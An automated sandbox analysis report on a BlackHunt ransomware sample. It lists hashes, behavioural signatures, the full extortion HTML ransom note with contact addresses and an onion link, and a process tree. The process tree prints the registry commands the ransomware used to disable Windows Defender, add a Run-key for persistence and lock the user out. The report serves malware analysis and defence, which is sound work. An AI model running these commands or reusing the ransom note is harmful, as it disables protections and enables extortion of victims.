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Analysis

  • max time kernel
    143s
  • max time network
    156s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231215-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
  • submitted
    19/01/2024, 01:07

General

  • Target

    dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe

  • Size

    707KB

  • MD5

    c834fe4dadfebc2959ecd2a557e7f0aa

  • SHA1

    2fae86138214a529ab649f2ab588faac45295804

  • SHA256

    dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3

  • SHA512

    36e790589969543e2923415a2163f2863fbffc96d2994cd4e6cfc2fea2040cc942e12cb483203beb6e3bdc132b2cf1f85135661d6d98c808337bc62a154ae2f2

  • SSDEEP

    6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza1l8Ivnh:6uaTmkZJ+naie5OTamgEoKxLWY2h

Malware Config

Extracted

Path

C:\ProgramData\#BlackHunt_ReadMe.hta

Ransom Note
<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="x-ua-compatible" content="ie=9"><meta charset="UTF-8"><HTA:APPLICATION icon="#" WINDOWSTATE="maximize" scroll="no" SELECTION="yes" contextmenu="no" caption="yes" SYSMENU="no" innerBorder="yes" SHOWINTASKBAR="yes" singleInstance="yes" /><meta name="viewport" content="width = device-width,initial-scale=1.0"><style>a,abbr,acronym,address,applet,article,aside,audio,b,big,blockquote,body,canvas,caption,center,cite,code,dd,del,details,dfn,div,dl,dt,em,embed,fieldset,figcaption,figure,footer,form,h1,h2,h3,h4,h5,h6,header,hgroup,html,i,iframe,img,ins,kbd,label,legend,li,mark,menu,nav,object,ol,output,p,pre,q,ruby,s,samp,section,small,span,strike,strong,sub,summary,sup,table,tbody,td,tfoot,th,thead,time,tr,tt,u,ul,var,video{margin:0;padding:0;border:0;font-size:100%;font:inherit;vertical-align:baseline}article,aside,details,figcaption,figure,footer,header,hgroup,menu,nav,section{display:block}body{line-height:1}ol,ul{list-style:none}blockquote,q{quotes:none}blockquote:after,blockquote:before,q:after,q:before{content:'';content:none}table{border-collapse:collapse;border-spacing:0}</style><style>body,html{background-color:#dadada;font-family:'Segoe UI',Tahoma,Geneva,Verdana,sans-serif;font-weight:600;font-size:16px}a{text-decoration:none;color:#0483ab}div.header{margin-top:15px;margin-bottom:5px;width:100%}div.header h1{width:97%;text-align:left;font-size:30px;font-weight:900;margin:auto}div.header h1 span#black{display:inline-block;color:#000;margin-right:0;padding:2px 2px}div.header h1 span#hunter{display:inline-block;color:#e90303;background-color:#000;padding:2px 8px;margin-left:0}div.header h1 span#hunter span#version{font-size:12px}div.message div.head-encrypted-msg{width:100%}div.message div.head-encrypted-msg h1{font-size:330%;width:97%;margin:auto;text-align:center;font-weight:700}div.message div.head-encrypted-msg h1 span{display:inline-block;color:#000;background-color:#e90303;padding:0 8px 0 8px;margin-right:3px}div.message div.head-attention-msg{width:97%;margin:auto;text-align:center;margin-top:1%;border:1px solid #e90303;background-color:#f1caca;border-radius:5px;font-size:250%;padding-top:10px;padding-bottom:10px}div.message div.head-attention-msg p{margin-bottom:.5%}div.message div.head-attention-msg p span{color:#e90303}div.content{margin:auto;margin-top:2%}div.content div.content-head-msg{font-size:32px;text-align:left;font-weight:600}div.content div.content-boxes{margin:auto;margin-top:2%}div.content div.box{width:96%;margin:auto;border-radius:5px;margin-bottom:30px}div.content div.content-left-box{background-color:#c5cfd8;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #1878cf}div.content div.content-left-box h3.left-box-title{background-color:#1878cf;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-left-box div.content-contact-directly *{font-weight:600!important;line-height:1.4em}div.content div.content-left-box div.content-contact-directly h4{font-size:24px;font-weight:500;margin-top:8px}div.content div.content-left-box div.content-contact-directly h4#tox{font-weight:600;display:inline-block;margin-left:3px}div.content div.content-left-box div.content-contact-directly div.tox-id{margin-left:6%}div.content div.content-left-box div.content-contact-directly h4#tox-id{font-size:24px}div.content div.content-left-box div.content-contact-directly p#tox-id-p{font-size:16px}div.content div.content-left-box div.content-contact-directly h4#download-tox{display:inline-block;margin-left:6%}div.content div.content-left-box div.content-contact-directly p#download-tox-p{display:inline-block}div.content div.content-left-box div.content-contact-directly h4#email{display:inline-block;font-weight:600;margin-left:3px}div.content div.content-left-box div.content-contact-directly p#email-p{display:inline-block;font-size:24px;margin-left:8px}div.content div.content-left-box div.content-contact-directly h4#user-id{font-weight:500;margin-left:3px}div.content div.content-left-box div.content-contact-directly h4#user-id span{color:#e90303}div.content div.content-left-box div.content-contact-tor{margin-top:50px;font-weight:600!important}div.content div.content-left-box div.content-contact-tor h3{font-size:24px}div.content div.content-left-box div.content-contact-tor h3 span{color:#e90303}div.content div.content-left-box div.content-contact-tor div.content-tor-inside{margin-left:6;margin-top:10px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p{margin-top:8px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p img{position:relative;bottom:-3px}div.content div.content-right-box{background-color:#efb0b0;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #e90303}div.content div.content-right-box h3.right-box-title{background-color:#e90303;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-right-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p span{color:#e90303;font-weight:700;font-size:24px}</style><title>Black Hunt</title></head><body><div class="header"><h1><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAIMAAAAWCAYAAADjNi+WAAAACXBIWXMAAC4jAAAuIwF4pT92AAALpWlUWHRYTUw6Y29tLmFkb2JlLnhtcAAAAAAAPD94cGFja2V0IGJlZ2luPSLvu78iIGlkPSJXNU0wTXBDZWhpSHpyZVN6TlRjemtjOWQiPz4gPHg6eG1wbWV0YSB4bWxuczp4PSJhZG9iZTpuczptZXRhLyIgeDp4bXB0az0iQWRvYmUgWE1QIENvcmUgNi4wLWMwMDIgNzkuMTY0NDYwLCAyMDIwLzA1LzEyLTE2OjA0OjE3ICAgICAgICAiPiA8cmRmOlJERiB4bWxuczpyZGY9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvMDIvMjItcmRmLXN5bnRheC1ucyMiPiA8cmRmOkRlc2NyaXB0aW9uIHJkZjphYm91dD0iIiB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iIHhtbG5zOmRjPSJodHRwOi8vcHVybC5vcmcvZGMvZWxlbWVudHMvMS4xLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0RXZ0PSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VFdmVudCMiIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bWxuczpwaG90b3Nob3A9Imh0dHA6Ly9ucy5hZG9iZS5jb20vcGhvdG9zaG9wLzEuMC8iIHhtbG5zOnRpZmY9Imh0dHA6Ly9ucy5hZG9iZS5jb20vdGlmZi8xLjAvIiB4bWxuczpleGlmPSJodHRwOi8vbnMuYWRvYmUuY29tL2V4aWYvMS4wLyIgeG1wOkNyZWF0b3JUb29sPSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHhtcDpDcmVhdGVEYXRlPSIyMDIyLTEwLTEzVDEyOjMyOjAyKzAzOjMwIiB4bXA6TWV0YWRhdGFEYXRlPSIyMDIzLTA0LTA3VDA0OjIxOjI1KzA0OjMwIiB4bXA6TW9kaWZ5RGF0ZT0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgZGM6Zm9ybWF0PSJpbWFnZS9wbmciIHhtcE1NOkluc3RhbmNlSUQ9InhtcC5paWQ6NGRiOTQ5OGItYTg5Mi0yMTRjLTliYzgtZTZlMDM3ZTYzYmJkIiB4bXBNTTpEb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6ZGVlODIyNjgtMDA3Ni0wNDQ2LWFjMGEtMzk2OTY3MzA0YTdjIiB4bXBNTTpPcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQyMWY2MmY3ZWI1IiBwaG90b3Nob3A6Q29sb3JNb2RlPSIzIiBwaG90b3Nob3A6SUNDUHJvZmlsZT0ic1JHQiBJRUM2MTk2Ni0yLjEiIHRpZmY6T3JpZW50YXRpb249IjEiIHRpZmY6WFJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6WVJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6UmVzb2x1dGlvblVuaXQ9IjIiIGV4aWY6Q29sb3JTcGFjZT0iMSIgZXhpZjpQaXhlbFhEaW1lbnNpb249IjQ0OSIgZXhpZjpQaXhlbFlEaW1lbnNpb249Ijg5Ij4gPHhtcE1NOkhpc3Rvcnk+IDxyZGY6U2VxPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0iY3JlYXRlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDoyNzIzMDY2Ny1kMzRkLWUyNGYtYmU1NS0wNDIxZjYyZjdlYjUiIHN0RXZ0OndoZW49IjIwMjItMTAtMTNUMTI6MzI6MDIrMDM6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIvPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0ic2F2ZWQiIHN0RXZ0Omluc3RhbmNlSUQ9InhtcC5paWQ6NzU5MzVkMTMtYjM0OS02ZTRiLWIwODctYzc5ZTJmZGNiNzgwIiBzdEV2dDp3aGVuPSIyMDIyLTEwLTEzVDEyOjMyOjE0KzAzOjMwIiBzdEV2dDpzb2Z0d2FyZUFnZW50PSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHN0RXZ0OmNoYW5nZWQ9Ii8iLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249InNhdmVkIiBzdEV2dDppbnN0YW5jZUlEPSJ4bXAuaWlkOmJiMmZiMmMyLWRjNDUtMzE0Yy1iMmQxLWRjNzFlZGUwNWJlYSIgc3RFdnQ6d2hlbj0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgc3RFdnQ6c29mdHdhcmVBZ2VudD0iQWRvYmUgUGhvdG9zaG9wIDIxLjIgKFdpbmRvd3MpIiBzdEV2dDpjaGFuZ2VkPSIvIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJjb252ZXJ0ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImZyb20gYXBwbGljYXRpb24vdm5kLmFkb2JlLnBob3Rvc2hvcCB0byBpbWFnZS9wbmciLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249ImRlcml2ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImNvbnZlcnRlZCBmcm9tIGFwcGxpY2F0aW9uL3ZuZC5hZG9iZS5waG90b3Nob3AgdG8gaW1hZ2UvcG5nIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJzYXZlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDo0ZGI5NDk4Yi1hODkyLTIxNGMtOWJjOC1lNmUwMzdlNjNiYmQiIHN0RXZ0OndoZW49IjIwMjMtMDQtMDdUMDQ6MjE6MjUrMDQ6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIgc3RFdnQ6Y2hhbmdlZD0iLyIvPiA8L3JkZjpTZXE+IDwveG1wTU06SGlzdG9yeT4gPHhtcE1NOkRlcml2ZWRGcm9tIHN0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6YmIyZmIyYzItZGM0NS0zMTRjLWIyZDEtZGM3MWVkZTA1YmVhIiBzdFJlZjpkb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6YTU3NzljMGQtYzI3Zi05ZjQ2LWJmMjgtYjQ2MzIzZjQ5ZjQxIiBzdFJlZjpvcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQy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 " alt=""></h1></div><div class="message"><div class="head-encrypted-msg"><h1>YOUR<span>WHOLE NETWORK</span>HAS BEEN PENETRATED BY<span>Black Hunt</span>!</h1></div><div class="head-attention-msg"><p>We also have uploaded your sensitive data, which we Will leak or sell in case of no cooperation!</p><p><span>Restore your data possible only buying private key from us</span></p></div></div><div class="content"><div class="content-boxes"><div class="content-right-box box"><h3 class="right-box-title">ATTENTION</h3><p>remember, there are many middle man services out there pretending that they can recover or decrypt your files , whom neither will contact us or scam you, Remember we are first and last solution for your files otherwise you will only waste money and time</p><p>trying to decrypt your files without our decryptor and through third party softwares will make your files completely useless, there is no third party decryptor since we are the only key holders</p><p>we have uploaded many critical data and information from your machines , we won't leak or sell any of them in Case of successful Corporation, however if we don't hear from you in 14 days we will either sell or leak your data in many forums</p><p></p><p>Remain all of your files untouched, do not change their name, extension and...</p></div><div class="content-left-box box"><h3 class="left-box-title">CONTACT US</h3><p>Your system is offline. in order to contact us you can email this address<span> [email protected] </span>this ID (<span> mmFWbFj91xoxIRax </span>) for the title of your email.</p><p>If you weren't able to contact us whitin 24 hours please email:<span> [email protected] </span></p><p>Check your data situation in<a href="#"><span> http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion </span></a></p></div></div></div></body></html>
URLs

http-equiv="x-ua-compatible"

http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion

Signatures

  • Deletes NTFS Change Journal 2 TTPs 2 IoCs

    The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.

  • Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs
  • UAC bypass 3 TTPs 1 IoCs
  • Clears Windows event logs 1 TTPs 5 IoCs
  • Deletes shadow copies 2 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs
  • Renames multiple (3352) files with added filename extension

    This suggests ransomware activity of encrypting all the files on the system.

  • Deletes backup catalog 3 TTPs 2 IoCs

    Uses wbadmin.exe to inhibit system recovery.

  • Disables Task Manager via registry modification
  • Disables use of System Restore points 1 TTPs
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks whether UAC is enabled 1 TTPs 1 IoCs
  • Enumerates connected drives 3 TTPs 27 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 1 IoCs
  • Checks SCSI registry key(s) 3 TTPs 4 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Interacts with shadow copies 2 TTPs 6 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Kills process with taskkill 1 IoCs
  • Modifies registry class 11 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 24 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • System policy modification 1 TTPs 3 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe
    "C:\Users\Admin\AppData\Local\Temp\dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe"
    1⤵
    • UAC bypass
    • Checks computer location settings
    • Checks whether UAC is enabled
    • Enumerates connected drives
    • Sets desktop wallpaper using registry
    • Drops file in Program Files directory
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    • System policy modification
    PID:2652
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4520
      • C:\Windows\system32\reg.exe
        reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
        3⤵
          PID:1352
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:968
        • C:\Windows\system32\reg.exe
          reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
          3⤵
          • Modifies registry class
          PID:3032
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
        2⤵
          PID:3512
          • C:\Windows\system32\reg.exe
            reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
            3⤵
              PID:1952
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:1944
            • C:\Windows\system32\reg.exe
              reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
              3⤵
              • Modifies registry class
              PID:3544
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:4344
            • C:\Windows\system32\reg.exe
              reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
              3⤵
              • Adds Run key to start application
              PID:1584
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
            2⤵
              PID:1636
              • C:\Windows\system32\reg.exe
                reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
                3⤵
                • Modifies Windows Defender Real-time Protection settings
                PID:5088
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:348
              • C:\Windows\system32\reg.exe
                reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
                3⤵
                  PID:884
              • C:\Windows\System32\cmd.exe
                "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
                2⤵
                • Suspicious use of WriteProcessMemory
                PID:5100
                • C:\Windows\system32\reg.exe
                  reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
                  3⤵
                    PID:1836
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
                  2⤵
                  • Suspicious use of WriteProcessMemory
                  PID:3596
                  • C:\Windows\system32\reg.exe
                    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
                    3⤵
                      PID:468
                  • C:\Windows\System32\cmd.exe
                    "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
                    2⤵
                      PID:3560
                      • C:\Windows\system32\reg.exe
                        reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
                        3⤵
                          PID:440
                      • C:\Windows\System32\cmd.exe
                        "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
                        2⤵
                        • Suspicious use of WriteProcessMemory
                        PID:5036
                        • C:\Windows\system32\reg.exe
                          reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
                          3⤵
                            PID:4596
                        • C:\Windows\System32\cmd.exe
                          "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
                          2⤵
                          • Suspicious use of WriteProcessMemory
                          PID:1372
                          • C:\Windows\system32\reg.exe
                            reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
                            3⤵
                              PID:940
                          • C:\Windows\System32\cmd.exe
                            "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
                            2⤵
                            • Suspicious use of WriteProcessMemory
                            PID:4052
                            • C:\Windows\system32\reg.exe
                              reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
                              3⤵
                                PID:3244
                            • C:\Windows\System32\cmd.exe
                              "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
                              2⤵
                                PID:816
                                • C:\Windows\system32\reg.exe
                                  reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
                                  3⤵
                                    PID:4388
                                • C:\Windows\System32\cmd.exe
                                  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
                                  2⤵
                                    PID:3164
                                    • C:\Windows\system32\reg.exe
                                      reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
                                      3⤵
                                        PID:2500
                                    • C:\Windows\System32\cmd.exe
                                      "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
                                      2⤵
                                        PID:1084
                                        • C:\Windows\system32\reg.exe
                                          reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
                                          3⤵
                                            PID:8
                                        • C:\Windows\System32\cmd.exe
                                          "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
                                          2⤵
                                            PID:4932
